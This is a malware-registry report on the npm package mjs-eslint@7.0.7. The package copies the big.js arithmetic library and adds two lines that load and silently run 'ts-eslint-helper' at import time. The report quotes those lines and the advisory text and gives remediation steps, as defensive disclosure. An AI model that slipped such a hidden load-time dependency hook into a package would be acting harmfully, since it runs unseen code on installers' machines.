mjs-eslint
This report shows the evidence for mjs-eslint@7.0.7. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6223 confirms this npm version as malicious.
Advisory
MAL-2026-6223
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in mjs-eslint (npm)
Details
The package is published as 'mjs-eslint' but its description, file layout (big.js, big.mjs), and source are a verbatim copy of the legitimate big.js arbitrary-precision arithmetic library by Michael Mclaughlin. Two lines have been inserted into the IIFE at big.js:605-606 (and identically in big.mjs:605-606): `const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });`. The corresponding dependency `"ts-eslint-helper": "^4.0.1"` is declared in package.json. This call fires at module load on any `require('mjs-eslint')` or `import` of the package, executes asynchronously, and silently swallows all errors via `.catch(()=>{})`. An arithmetic library has no legitimate reason to load a 'ts-eslint' helper at module init, and the name mismatch between the host package (mjs-eslint), the cloned library (big.js), and the dependency (ts-eslint-helper) is the canonical pattern of hiding the payload one hop away in a transitive dependency to evade scanners. Installer harm: any consumer who requires this package pulls in and executes whatever ts-eslint-helper's from_str() contains, with no visible signal.
## Source: ghsa-malware (e808f874aa327bf9ec78a5d171a97dbd6197066f6f5b4d8fb7a91f810603b9fb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent scan evidence
public snapshotBehavioral surface
Source & flagged code
1 flagged · loading sourcebig.jsView file
604package = mjs-eslint; repositoryIdentity = big.js; dependency = ts-eslint-helper
L604:
L605: const helper = require("ts-eslint-helper");
L606: helper.from_str().then(e => e).catch(e => { });
High
Copied Package Dependency Bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
big.jsView on unpkg · L604Findings
1 High1 Medium1 Low
HighCopied Package Dependency Bridgebig.js
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to mjs-eslint@7.0.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing mjs-eslint@7.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.